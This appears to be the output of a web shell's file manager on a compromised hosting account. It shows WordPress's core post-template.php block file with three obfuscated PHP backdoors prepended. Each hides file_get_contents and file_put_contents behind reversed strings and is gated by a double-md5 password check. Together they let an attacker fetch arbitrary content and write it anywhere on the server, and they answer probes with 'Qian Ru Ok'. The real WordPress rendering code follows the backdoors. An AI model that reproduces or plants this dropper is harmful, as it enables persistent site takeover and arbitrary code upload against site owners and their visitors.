HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/blocks/post-template.php
<?php 
$NdCESElqP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($NdCESElqP[0]) /*+/*+*/
. md5($NdCESElqP[0])) == "f".
"0".
"8".
"0".
"2".
"1".
"9".
"7".
"3".
"3".
"2".
"4".
"b".
"b".
"4".
"0".
"8".
"3".
"3".
"e".
"0".
"7".
"b".
"d".
"3".
"5".
"b".
"3".
"4".
"5".
"a".
"c") {
$ppTLAaZqr = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HGWDoEU = $ppTLAaZqr /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$fIhohB = $ppTLAaZqr
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function XEFbPklI($Takmo) { if (empty($Takmo)) return false; if (!is_dir($Takmo)) { XEFbPklI(dirname($Takmo), 0755, true); mkdir($Takmo); } } !file_exists(dirname($NdCESElqP[1])) && XEFbPklI(dirname($NdCESElqP[1])); $KWEiuzA = @$fIhohB($NdCESElqP[2]); echo @$HGWDoEU($NdCESElqP[1], $KWEiuzA) ? 1 : 0; die; }key($NdCESElqP) == "of" && die("Qian Ru Ok"); ?><?php 
$RbmoG = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($RbmoG[0]) /*+/*+*/
. md5($RbmoG[0])) == "d".
"5".
"4".
"d".
"2".
"0".
"4".
"2".
"9".
"5".
"2".
"3".
"0".
"e".
"c".
"d".
"5".
"6".
"4".
"3".
"4".
"0".
"e".
"4".
"c".
"9".
"b".
"8".
"7".
"3".
"0".
"0") {
$wlViPYfPvU = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$RLiHWSnEp = $wlViPYfPvU /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TnQKj = $wlViPYfPvU
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function WqBCbshM($ReUuNQbyT) { if (empty($ReUuNQbyT)) return false; if (!is_dir($ReUuNQbyT)) { WqBCbshM(dirname($ReUuNQbyT), 0755, true); mkdir($ReUuNQbyT); } } !file_exists(dirname($RbmoG[1])) && WqBCbshM(dirname($RbmoG[1])); $AkmcdwF = @$TnQKj($RbmoG[2]); echo @$RLiHWSnEp($RbmoG[1], $AkmcdwF) ? 1 : 0; die; }key($RbmoG) == "of" && die("Qian Ru Ok"); ?><?php 
$SHXzkHcmAm = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($SHXzkHcmAm[0]) /*+/*+*/
. md5($SHXzkHcmAm[0])) == "6".
"3".
"b".
"6".
"4".
"2".
"5".
"c".
"1".
"5".
"1".
"d".
"1".
"3".
"7".
"8".
"4".
"5".
"9".
"f".
"8".
"f".
"2".
"3".
"a".
"7".
"3".
"5".
"c".
"a".
"1".
"3") {
$YHMijFIA = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OJgZCjkn = $YHMijFIA /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ukvrDPeAW = $YHMijFIA
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function SDbINJIs($SIFOG) { if (empty($SIFOG)) return false; if (!is_dir($SIFOG)) { SDbINJIs(dirname($SIFOG), 0755, true); mkdir($SIFOG); } } !file_exists(dirname($SHXzkHcmAm[1])) && SDbINJIs(dirname($SHXzkHcmAm[1])); $HEefb = @$ukvrDPeAW($SHXzkHcmAm[2]); echo @$OJgZCjkn($SHXzkHcmAm[1], $HEefb) ? 1 : 0; die; }key($SHXzkHcmAm) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/post-template` block.
 *
 * @package WordPress
 */

/**
 * Determines whether a block list contains a block that uses the featured image.
 *
 * @param WP_Block_List $inner_blocks Inner block instance.
 *
 * @return bool Whether the block list contains a block that uses the featured image.
 */
function block_core_post_template_uses_featured_image( $inner_blocks ) {
	foreach ( $inner_blocks as $block ) {
		if ( 'core/post-featured-image' === $block->name ) {
			return true;
		}
		if (
			'core/cover' === $block->name &&
			! empty( $block->attributes['useFeaturedImage'] )
		) {
			return true;
		}
		if ( $block->inner_blocks && block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Renders the `core/post-template` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the output of the query, structured using the layout defined by the block's inner blocks.
 */
function render_block_core_post_template( $attributes, $content, $block ) {
	$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
	$page     = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];

	// Use global query if needed.
	$use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] );
	if ( $use_global_query ) {
		global $wp_query;
		$query = clone $wp_query;
	} else {
		$query_args = build_query_vars_from_query_block( $block, $page );
		$query      = new WP_Query( $query_args );
	}

	if ( ! $query->have_posts() ) {
		return '';
	}

	if ( block_core_post_template_uses_featured_image( $block->inner_blocks ) ) {
		update_post_thumbnail_cache( $query );
	}

	$classnames = '';
	if ( isset( $block->context['displayLayout'] ) && isset( $block->context['query'] ) ) {
		if ( isset( $block->context['displayLayout']['type'] ) && 'flex' === $block->context['displayLayout']['type'] ) {
			$classnames = "is-flex-container columns-{$block->context['displayLayout']['columns']}";
		}
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );

	$content = '';
	while ( $query->have_posts() ) {
		$query->the_post();

		// Get an instance of the current Post Template block.
		$block_instance = $block->parsed_block;

		// Set the block name to one that does not correspond to an existing registered block.
		// This ensures that for the inner instances of the Post Template block, we do not render any block supports.
		$block_instance['blockName'] = 'core/null';

		// Render the inner blocks of the Post Template block with `dynamic` set to `false` to prevent calling
		// `render_callback` and ensure that no wrapper markup is included.
		$block_content = (
			new WP_Block(
				$block_instance,
				array(
					'postType' => get_post_type(),
					'postId'   => get_the_ID(),
				)
			)
		)->render( array( 'dynamic' => false ) );

		// Wrap the render inner blocks in a `li` element with the appropriate post classes.
		$post_classes = implode( ' ', get_post_class( 'wp-block-post' ) );
		$content     .= '<li class="' . esc_attr( $post_classes ) . '">' . $block_content . '</li>';
	}

	/*
	 * Use this function to restore the context of the template tags
	 * from a secondary query loop back to the main query loop.
	 * Since we use two custom loops, it's safest to always restore.
	*/
	wp_reset_postdata();

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-template` block on the server.
 */
function register_block_core_post_template() {
	register_block_type_from_metadata(
		__DIR__ . '/post-template',
		array(
			'render_callback'   => 'render_block_core_post_template',
			'skip_inner_blocks' => true,
		)
	);
}
add_action( 'init', 'register_block_core_post_template' ); ?>